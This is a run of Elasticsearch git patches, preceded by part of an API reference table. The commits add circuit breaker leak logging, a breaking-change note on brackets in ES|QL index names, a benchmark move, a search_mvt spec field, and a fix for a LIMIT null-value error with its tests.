+| [Get snapshot lifecycle policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-get-lifecycle) | Retrieves one or more snapshot lifecycle policies. |
+| [Create or update snapshot lifecycle policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-put-lifecycle) | Creates or updates a snapshot lifecycle policy. |
+| [Delete snapshot lifecycle policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-delete-lifecycle) | Deletes a snapshot lifecycle policy. |
+| [Execute snapshot lifecycle policy](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-execute-lifecycle) | Triggers a snapshot lifecycle policy manually. |
+| [Execute snapshot retention](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-execute-retention) | Manually apply the retention policy to force immediate removal of snapshots that are expired according to the snapshot lifecycle policy retention rules. |
+| [Get snapshot lifecycle stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-get-stats) | Returns statistics about snapshot lifecycle executions. |
+| [Get snapshot lifecycle status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-get-status) | Returns the status of the snapshot lifecycle management feature. |
+| [Start snapshot lifecycle management](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-start) | Starts the snapshot lifecycle management feature. |
+| [Stop snapshot lifecycle management](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-stop) | Stops the snapshot lifecycle management feature. |
+
+### [SQL](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-sql)
+
+The SQL APIs enable you to run SQL queries on Elasticsearch indices and data streams.
+
+| API | Description |
+| --- | ----------- |
+| [Clear SQL cursor](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-sql-clear-cursor) | Clears the server-side cursor for an SQL search. |
+| [Delete async SQL search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-sql-delete-async) | Deletes an async SQL search. |
+| [Get async SQL search results](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-sql-get-async) | Retrieves results of an async SQL query. |
+| [Get async SQL search status](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-sql-get-async-status) | Gets the current status of an async SQL search or a stored synchronous SQL search. |
+| [SQL query](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-sql-query) | Executes an SQL query. |
+| [Translate SQL](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-sql-translate) | Translates SQL into Elasticsearch DSL. |
+
+### [Synonyms](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-synonyms)
+
+The synonyms management APIs provide a convenient way to define and manage synonyms in an internal system index. Related synonyms can be grouped in a "synonyms set".
+
+| API | Description |
+| --- | ----------- |
+| [Get synonym set](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-synonyms-get-synonym) | Retrieves a synonym set by ID. |
+| [Create of update synonym set](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-synonyms-put-synonym) | Creates or updates a synonym set. |
+| [Delete synonym set](https://www.elastic.co/docs/api/doc/elasticsearch/endpoint/synonyms.delete_synonym) | Deletes a synonym set. |
+| [Get synonym rule](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-synonyms-get-synonym-rule) | |
+| [Get synonym sets](https://www.elastic.co/docs/api/doc/elasticsearch/endpoint/synonyms.get_synonyms) | Lists all synonym sets. |
+
+### [Task management](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-tasks)
+
+The task management APIs enable you to retrieve information about tasks or cancel tasks running in a cluster.
+
+| API | Description |
+| --- | ----------- |
+| [Cancel a task](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-tasks-cancel) | Cancels a running task. |
+| [Get task information](https://www.elastic.co/docs/api/doc/elasticsearch/v9/operation/operation-tasks-get) |  |
+| [Get all tasks](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-tasks-list) | Retrieves information about running tasks. |
+
+### [Text structure](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-text_structure)
+
+The text structure APIs enable you to find the structure of a text field in an {{es}} index.
+
+| API | Description |
+| --- | ----------- |
+| [Find the structure of a text field](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-text-structure-find-field-structure) |  |
+| [Find the structure of a text message](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-text-structure-find-message-structure) |  |
+| [Find the structure of a text file](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-text-structure-find-structure) | Analyzes a text file and returns its structure. |
+| [Test a Grok pattern](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-text-structure-test-grok-pattern) |  |
+
+### [Transform](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-transform)
+
+The transform APIs enable you to create and manage transforms.
+
+| API | Description |
+| --- | ----------- |
+| [Get transforms](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-get-transform) | Retrieves configuration for one or more transforms. |
+| [Create a transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-put-transform) | Creates or updates a transform job. |
+| [Get transform stats](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-get-transform-stats) | Get usage information for transforms. |
+| [Preview transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-preview-transform) | Previews the results of a transform job. |
+| [Reset a transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-reset-transform) | Previews the results of a transform job. |
+| [Delete transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-delete-transform) | Deletes a transform job. |
+| [Schedule a transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-schedule-now-transform) | Previews the results of a transform job. |
+| [Start transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-start-transform) | Starts a transform job. |
+| [Stop transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-stop-transform) | Stops a running transform job. |
+| [Update transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-update-transform) | Updates certain properties of a transform. |
+| [Upgrade all transforms](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-upgrade-transforms) | Updates certain properties of a transform. |
+
+### [Usage](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-xpack)
+
+The usage API provides usage information about the installed X-Pack features.
+
+| API | Description |
+| --- | ----------- |
+| [Get information](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-xpack-info) | Gets information about build details, license status, and a list of features currently available under the installed license. |
+| [Get usage information](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-xpack-usage) | Get information about the features that are currently enabled and available under the current license. |
+
+
+### [Watcher](https://www.elastic.co/docs/api/doc/elasticsearch/v9/group/endpoint-watcher)
+
+You can use Watcher to watch for changes or anomalies in your data and perform the necessary actions in response.
+
+| API | Description |
+| --- | ----------- |
+| [Acknowledge a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-ack-watch) | Acknowledges a watch action. |
+| [Activate a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-activate-watch) | Activates a watch. |
+| [Deactivates a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-deactivate-watch) | Deactivates a watch. |
+| [Get a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-get-watch) | Retrieves a watch by ID. |
+| [Create or update a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-put-watch) | Creates or updates a watch. |
+| [Delete a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-delete-watch) | Deletes a watch. |
+| [Run a watch](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-execute-watch) | Executes a watch manually. |
+| [Get Watcher index settings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-get-settings) | Get settings for the Watcher internal index |
+| [Update Watcher index settings](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-update-settings) | Update settings for the Watcher internal index |
+| [Query watches](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-query-watches) | Get all registered watches in a paginated manner and optionally filter watches by a query. |
+| [Start the watch service](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-start) | Starts the Watcher service. |
+| [Get Watcher statistics](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-stats) | Returns statistics about the Watcher service. |
+| [Stop the watch service](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-watcher-stop) | Stops the Watcher service. |

From 15d5fe01cc9700eff1fe4e27663de53300e7a89f Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Thu, 10 Jul 2025 10:31:11 -0400
Subject: [PATCH 117/299] ESQL: Log more on circuit breaker leaks (#130943)
 (#130956)

Expand ESQL test logging when it sees circuit breaker leaks.

Relates to #130796
---
 .../xpack/esql/qa/single_node/EsqlSpecIT.java |  5 ++-
 .../xpack/esql/qa/rest/EsqlSpecTestCase.java  | 18 +++++----
 .../xpack/esql/plugin/ComputeService.java     | 37 +++++++++++++------
 3 files changed, 39 insertions(+), 21 deletions(-)

diff --git a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java
index 7cc599945e7c0..d01e1c9fb7f56 100644
--- a/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java
+++ b/x-pack/plugin/esql/qa/server/single-node/src/javaRestTest/java/org/elasticsearch/xpack/esql/qa/single_node/EsqlSpecIT.java
@@ -12,13 +12,16 @@
 import org.elasticsearch.test.TestClustersThreadFilter;
 import org.elasticsearch.test.cluster.ElasticsearchCluster;
 import org.elasticsearch.xpack.esql.CsvSpecReader.CsvTestCase;
+import org.elasticsearch.xpack.esql.plugin.ComputeService;
 import org.elasticsearch.xpack.esql.qa.rest.EsqlSpecTestCase;
 import org.junit.ClassRule;
 
 @ThreadLeakFilters(filters = TestClustersThreadFilter.class)
 public class EsqlSpecIT extends EsqlSpecTestCase {
     @ClassRule
-    public static ElasticsearchCluster cluster = Clusters.testCluster(spec -> spec.plugin("inference-service-test"));
+    public static ElasticsearchCluster cluster = Clusters.testCluster(
+        spec -> spec.plugin("inference-service-test").setting("logger." + ComputeService.class.getName(), "DEBUG") // So we log a profile
+    );
 
     @Override
     protected String getTestRestCluster() {
diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java
index 221aa17ee1979..4285fe112a7c6 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java
@@ -23,6 +23,7 @@
 import org.elasticsearch.geometry.utils.WellKnownText;
 import org.elasticsearch.logging.LogManager;
 import org.elasticsearch.logging.Logger;
+import org.elasticsearch.test.MapMatcher;
 import org.elasticsearch.test.rest.ESRestTestCase;
 import org.elasticsearch.test.rest.TestFeatureService;
 import org.elasticsearch.xcontent.XContentType;
@@ -437,16 +438,17 @@ public static void assertRequestBreakerEmpty() throws Exception {
             HttpEntity entity = adminClient().performRequest(new Request("GET", "/_nodes/stats")).getEntity();
             Map<?, ?> stats = XContentHelper.convertToMap(XContentType.JSON.xContent(), entity.getContent(), false);
             Map<?, ?> nodes = (Map<?, ?>) stats.get("nodes");
-            for (Object n : nodes.values()) {
-                Map<?, ?> node = (Map<?, ?>) n;
-                Map<?, ?> breakers = (Map<?, ?>) node.get("breakers");
-                Map<?, ?> request = (Map<?, ?>) breakers.get("request");
-                assertMap(
-                    "circuit breakers not reset to 0",
-                    request,
-                    matchesMap().extraOk().entry("estimated_size_in_bytes", 0).entry("estimated_size", "0b")
+
+            MapMatcher breakersEmpty = matchesMap().extraOk().entry("estimated_size_in_bytes", 0).entry("estimated_size", "0b");
+
+            MapMatcher nodesMatcher = matchesMap();
+            for (Object name : nodes.keySet()) {
+                nodesMatcher = nodesMatcher.entry(
+                    name,
+                    matchesMap().extraOk().entry("breakers", matchesMap().extraOk().entry("request", breakersEmpty))
                 );
             }
+            assertMap("circuit breakers not reset to 0", stats, matchesMap().extraOk().entry("nodes", nodesMatcher));
         });
     }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index 4adc97d28fee0..f76a34204f64d 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -592,23 +592,36 @@ public SourceProvider createSourceProvider() {
                 throw new IllegalStateException("no drivers created");
             }
             LOGGER.debug("using {} drivers", drivers.size());
-            driverRunner.executeDrivers(
-                task,
-                drivers,
-                transportService.getThreadPool().executor(ESQL_WORKER_THREAD_POOL_NAME),
-                ActionListener.releaseAfter(listener.map(ignored -> {
-                    if (context.configuration().profile()) {
-                        return DriverCompletionInfo.includingProfiles(
+            ActionListener<Void> driverListener = listener.map(ignored -> {
+                if (LOGGER.isDebugEnabled()) {
+                    LOGGER.debug(
+                        "finished {}",
+                        DriverCompletionInfo.includingProfiles(
                             drivers,
                             context.description(),
                             clusterService.getClusterName().value(),
                             transportService.getLocalNode().getName(),
                             localPlan.toString()
-                        );
-                    } else {
-                        return DriverCompletionInfo.excludingProfiles(drivers);
-                    }
-                }), () -> Releasables.close(drivers))
+                        )
+                    );
+                }
+                if (context.configuration().profile()) {
+                    return DriverCompletionInfo.includingProfiles(
+                        drivers,
+                        context.description(),
+                        clusterService.getClusterName().value(),
+                        transportService.getLocalNode().getName(),
+                        localPlan.toString()
+                    );
+                } else {
+                    return DriverCompletionInfo.excludingProfiles(drivers);
+                }
+            });
+            driverRunner.executeDrivers(
+                task,
+                drivers,
+                transportService.getThreadPool().executor(ESQL_WORKER_THREAD_POOL_NAME),
+                ActionListener.releaseAfter(driverListener, () -> Releasables.close(drivers))
             );
         } catch (Exception e) {
             listener.onFailure(e);

From 2536d0fadf1a3c7f53eba1a317cbbaaf4549f080 Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Thu, 10 Jul 2025 19:50:08 +0200
Subject: [PATCH 118/299] ES|QL: Add breaking change note for brackets in index
 names (#131012) (#131036)

---
 docs/changelog/130427.yaml | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/docs/changelog/130427.yaml b/docs/changelog/130427.yaml
index 4666cf0987cda..1727a8d2c4f27 100644
--- a/docs/changelog/130427.yaml
+++ b/docs/changelog/130427.yaml
@@ -1,5 +1,17 @@
 pr: 130427
-summary: Disallow brackets in unquoted index pattersn
+summary: Disallow brackets in unquoted index patterns
 area: ES|QL
-type: bug
-issues: []
+type: breaking
+issues:
+  - 130378
+breaking:
+  title: Unquoted index patterns do not allow `(` and `)` characters
+  area: ES|QL
+  details: >-
+    Previously, ES|QL accepted unquoted index patterns containing brackets, such as `FROM index(1) | ENRICH policy(2)`.
+
+    This query syntax is no longer valid because it could conflict with subquery syntax, where brackets are used as delimiters.
+
+    Brackets are now only allowed in quoted index patterns. For example: `FROM "index(1)" | ENRICH "policy(2)"`.
+  impact: "This affects existing queries containing brackets in index or policy names, i.e. in FROM, ENRICH, and LOOKUP JOIN commands."
+  notable: false

From 1972c526bf6f0fbb527a9e6d3034592911494d38 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Thu, 10 Jul 2025 16:10:38 -0400
Subject: [PATCH 119/299] ESQL: Benchmark reading values nightly (#130470)
 (#131042)

Moves the benchmark for reading values so we run it nightly.
---
 .../esql}/ValuesSourceReaderBenchmark.java    | 22 +++++++++++++------
 .../ValuesSourceReaderBenchmarkTests.java     |  2 +-
 2 files changed, 16 insertions(+), 8 deletions(-)
 rename benchmarks/src/main/java/org/elasticsearch/benchmark/{compute/operator => _nightly/esql}/ValuesSourceReaderBenchmark.java (97%)
 rename benchmarks/src/test/java/org/elasticsearch/benchmark/{compute/operator => _nightly/esql}/ValuesSourceReaderBenchmarkTests.java (92%)

diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java
similarity index 97%
rename from benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java
rename to benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java
index d592366835c08..741418be2c912 100644
--- a/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmark.java
+++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmark.java
@@ -7,7 +7,7 @@
  * License v3.0 only", or the "Server Side Public License, v 1".
  */
 
-package org.elasticsearch.benchmark.compute.operator;
+package org.elasticsearch.benchmark._nightly.esql;
 
 import org.apache.lucene.document.FieldType;
 import org.apache.lucene.document.NumericDocValuesField;
@@ -85,10 +85,18 @@
 @State(Scope.Thread)
 @Fork(1)
 public class ValuesSourceReaderBenchmark {
+    private static final String[] SUPPORTED_LAYOUTS = new String[] { "in_order", "shuffled", "shuffled_singles" };
+    private static final String[] SUPPORTED_NAMES = new String[] {
+        "long",
+        "int",
+        "double",
+        "keyword",
+        "stored_keyword",
+        "3_stored_keywords" };
+
     private static final int BLOCK_LENGTH = 16 * 1024;
     private static final int INDEX_SIZE = 10 * BLOCK_LENGTH;
     private static final int COMMIT_INTERVAL = 500;
-    private static final BigArrays BIG_ARRAYS = BigArrays.NON_RECYCLING_INSTANCE;
     private static final BlockFactory blockFactory = BlockFactory.getInstance(
         new NoopCircuitBreaker("noop"),
         BigArrays.NON_RECYCLING_INSTANCE
@@ -104,8 +112,8 @@ static void selfTest() {
             ValuesSourceReaderBenchmark benchmark = new ValuesSourceReaderBenchmark();
             benchmark.setupIndex();
             try {
-                for (String layout : ValuesSourceReaderBenchmark.class.getField("layout").getAnnotationsByType(Param.class)[0].value()) {
-                    for (String name : ValuesSourceReaderBenchmark.class.getField("name").getAnnotationsByType(Param.class)[0].value()) {
+                for (String layout : ValuesSourceReaderBenchmark.SUPPORTED_LAYOUTS) {
+                    for (String name : ValuesSourceReaderBenchmark.SUPPORTED_NAMES) {
                         benchmark.layout = layout;
                         benchmark.name = name;
                         try {
@@ -119,7 +127,7 @@ static void selfTest() {
             } finally {
                 benchmark.teardownIndex();
             }
-        } catch (IOException | NoSuchFieldException e) {
+        } catch (IOException e) {
             throw new AssertionError(e);
         }
     }
@@ -321,10 +329,10 @@ public FieldNamesFieldMapper.FieldNamesFieldType fieldNames() {
      *     each page has a single document rather than {@code BLOCK_SIZE} docs.</li>
      * </ul>
      */
-    @Param({ "in_order", "shuffled", "shuffled_singles" })
+    @Param({ "in_order", "shuffled" })
     public String layout;
 
-    @Param({ "long", "int", "double", "keyword", "stored_keyword", "3_stored_keywords" })
+    @Param({ "long", "keyword", "stored_keyword" })
     public String name;
 
     private Directory directory;
diff --git a/benchmarks/src/test/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmarkTests.java b/benchmarks/src/test/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmarkTests.java
similarity index 92%
rename from benchmarks/src/test/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmarkTests.java
rename to benchmarks/src/test/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmarkTests.java
index 7d72455f9fb22..e1d2b8f43100c 100644
--- a/benchmarks/src/test/java/org/elasticsearch/benchmark/compute/operator/ValuesSourceReaderBenchmarkTests.java
+++ b/benchmarks/src/test/java/org/elasticsearch/benchmark/_nightly/esql/ValuesSourceReaderBenchmarkTests.java
@@ -7,7 +7,7 @@
  * License v3.0 only", or the "Server Side Public License, v 1".
  */
 
-package org.elasticsearch.benchmark.compute.operator;
+package org.elasticsearch.benchmark._nightly.esql;
 
 import org.elasticsearch.test.ESTestCase;
 

From 77dd3967533201775e23036bed9804987155314a Mon Sep 17 00:00:00 2001
From: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
Date: Fri, 11 Jul 2025 09:55:35 +0200
Subject: [PATCH 120/299] ES|QL: fix bwc test (#131034) (#131066)

---
 .../resources/rest-api-spec/test/esql/60_enrich.yml             | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml
index d05b14a390c4e..c8f3c15400b9e 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/60_enrich.yml
@@ -225,7 +225,7 @@ teardown:
         - method: POST
           path: /_query
           parameters: []
-          capabilities: [ no_brackets_in_unquoted_index_names ]
+          capabilities: [ no_brackets_in_unquoted_index_names, fork_v9 ]
       reason: "Change in the grammar"
 
   - do:

From cecf4962970eb00eb5e4ec6e51454c5c9c9c6dfe Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Fri, 11 Jul 2025 13:50:40 +0400
Subject: [PATCH 121/299] Add missing grid_agg to search_mvt rest-api-spec
 (#130906) (#131073)

---
 .../src/main/resources/rest-api-spec/api/search_mvt.json | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/search_mvt.json b/rest-api-spec/src/main/resources/rest-api-spec/api/search_mvt.json
index 35ebe3b3f1d16..faa67132f3aca 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/search_mvt.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/search_mvt.json
@@ -73,6 +73,15 @@
         "description":"Determines the geometry type for features in the aggs layer.",
         "default":"grid"
       },
+      "grid_agg":{
+        "type":"enum",
+        "options":[
+          "geotile",
+          "geohex"
+        ],
+        "description":"Aggregation used to create a grid for `field`.",
+        "default":"geotile"
+      },
       "size":{
         "type":"int",
         "description":"Maximum number of features to return in the hits layer. Accepts 0-10000.",

From 7f902a29f06d8fbc6be317267388d535fa7d430c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Fri, 11 Jul 2025 12:30:36 +0200
Subject: [PATCH 122/299] [9.1] ESQL: Fix LIMIT NPE with null value (#130914)
 (#131030)

Manual 9.1 backport of https://github.com/elastic/elasticsearch/pull/130914
---
 docs/changelog/130914.yaml                    |  6 +++
 x-pack/plugin/build.gradle                    |  1 +
 .../xpack/esql/action/EsqlCapabilities.java   |  5 +++
 .../xpack/esql/parser/LogicalPlanBuilder.java | 27 ++++++------
 .../xpack/esql/analysis/ParsingTests.java     | 42 ++++++++++++++++---
 .../esql/parser/StatementParserTests.java     |  4 --
 .../rest-api-spec/test/esql/10_basic.yml      |  4 +-
 7 files changed, 65 insertions(+), 24 deletions(-)
 create mode 100644 docs/changelog/130914.yaml

diff --git a/docs/changelog/130914.yaml b/docs/changelog/130914.yaml
new file mode 100644
index 0000000000000..da38b52e5f879
--- /dev/null
+++ b/docs/changelog/130914.yaml
@@ -0,0 +1,6 @@
+pr: 130914
+summary: Fix LIMIT NPE with null value
+area: ES|QL
+type: bug
+issues:
+ - 130908
diff --git a/x-pack/plugin/build.gradle b/x-pack/plugin/build.gradle
index 34b4f412e849a..2e771efed85d9 100644
--- a/x-pack/plugin/build.gradle
+++ b/x-pack/plugin/build.gradle
@@ -136,6 +136,7 @@ tasks.named("yamlRestCompatTestTransform").configure({ task ->
   task.skipTest("esql/191_lookup_join_on_datastreams/data streams not supported in LOOKUP JOIN", "Added support for aliases in JOINs")
   task.skipTest("esql/190_lookup_join/non-lookup index", "Error message changed")
   task.skipTest("esql/192_lookup_join_on_aliases/alias-pattern-multiple", "Error message changed")
+  task.skipTest("esql/10_basic/Test wrong LIMIT parameter", "Error message changed")
 })
 
 tasks.named('yamlRestCompatTest').configure {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 03e8cc8e5a53e..30f90053eb8e7 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1175,6 +1175,11 @@ public enum Cap {
          */
         PARAMETER_FOR_LIMIT,
 
+        /**
+         * Changed and normalized the LIMIT error message.
+         */
+        NORMALIZED_LIMIT_ERROR_MESSAGE,
+
         /**
          * Dense vector field type support
          */
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java
index 3d6162e1a12d6..7b4f971aa5f13 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/LogicalPlanBuilder.java
@@ -391,21 +391,22 @@ public PlanFactory visitWhereCommand(EsqlBaseParser.WhereCommandContext ctx) {
     public PlanFactory visitLimitCommand(EsqlBaseParser.LimitCommandContext ctx) {
         Source source = source(ctx);
         Object val = expression(ctx.constant()).fold(FoldContext.small() /* TODO remove me */);
-        if (val instanceof Integer i) {
-            if (i < 0) {
-                throw new ParsingException(source, "Invalid value for LIMIT [" + i + "], expecting a non negative integer");
-            }
+        if (val instanceof Integer i && i >= 0) {
             return input -> new Limit(source, new Literal(source, i, DataType.INTEGER), input);
-        } else {
-            throw new ParsingException(
-                source,
-                "Invalid value for LIMIT ["
-                    + BytesRefs.toString(val)
-                    + ": "
-                    + (expression(ctx.constant()).dataType() == KEYWORD ? "String" : val.getClass().getSimpleName())
-                    + "], expecting a non negative integer"
-            );
         }
+
+        String valueType = expression(ctx.constant()).dataType().typeName();
+
+        throw new ParsingException(
+            source,
+            "value of ["
+                + source.text()
+                + "] must be a non negative integer, found value ["
+                + ctx.constant().getText()
+                + "] type ["
+                + valueType
+                + "]"
+        );
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java
index 348c4d4266b8e..794642525940a 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/analysis/ParsingTests.java
@@ -19,7 +19,10 @@
 import org.elasticsearch.xpack.esql.index.EsIndex;
 import org.elasticsearch.xpack.esql.index.IndexResolution;
 import org.elasticsearch.xpack.esql.parser.EsqlParser;
+import org.elasticsearch.xpack.esql.parser.ParserUtils;
 import org.elasticsearch.xpack.esql.parser.ParsingException;
+import org.elasticsearch.xpack.esql.parser.QueryParam;
+import org.elasticsearch.xpack.esql.parser.QueryParams;
 import org.elasticsearch.xpack.esql.plan.logical.LogicalPlan;
 import org.elasticsearch.xpack.esql.plan.logical.Row;
 import org.elasticsearch.xpack.esql.type.EsqlDataTypeConverter;
@@ -157,9 +160,34 @@ public void testJoinTwiceOnTheSameField_TwoLookups() {
     }
 
     public void testInvalidLimit() {
-        assertEquals("1:13: Invalid value for LIMIT [foo: String], expecting a non negative integer", error("row a = 1 | limit \"foo\""));
-        assertEquals("1:13: Invalid value for LIMIT [1.2: Double], expecting a non negative integer", error("row a = 1 | limit 1.2"));
-        assertEquals("1:13: Invalid value for LIMIT [-1], expecting a non negative integer", error("row a = 1 | limit -1"));
+        assertLimitWithAndWithoutParams("foo", "\"foo\"", DataType.KEYWORD);
+        assertLimitWithAndWithoutParams(1.2, "1.2", DataType.DOUBLE);
+        assertLimitWithAndWithoutParams(-1, "-1", DataType.INTEGER);
+        assertLimitWithAndWithoutParams(true, "true", DataType.BOOLEAN);
+        assertLimitWithAndWithoutParams(false, "false", DataType.BOOLEAN);
+        assertLimitWithAndWithoutParams(null, "null", DataType.NULL);
+    }
+
+    private void assertLimitWithAndWithoutParams(Object value, String valueText, DataType type) {
+        assertEquals(
+            "1:13: value of [limit "
+                + valueText
+                + "] must be a non negative integer, found value ["
+                + valueText
+                + "] type ["
+                + type.typeName()
+                + "]",
+            error("row a = 1 | limit " + valueText)
+        );
+
+        assertEquals(
+            "1:13: value of [limit ?param] must be a non negative integer, found value [?param] type [" + type.typeName() + "]",
+            error(
+                "row a = 1 | limit ?param",
+                new QueryParams(List.of(new QueryParam("param", value, type, ParserUtils.ParamClassification.VALUE)))
+            )
+        );
+
     }
 
     public void testInvalidSample() {
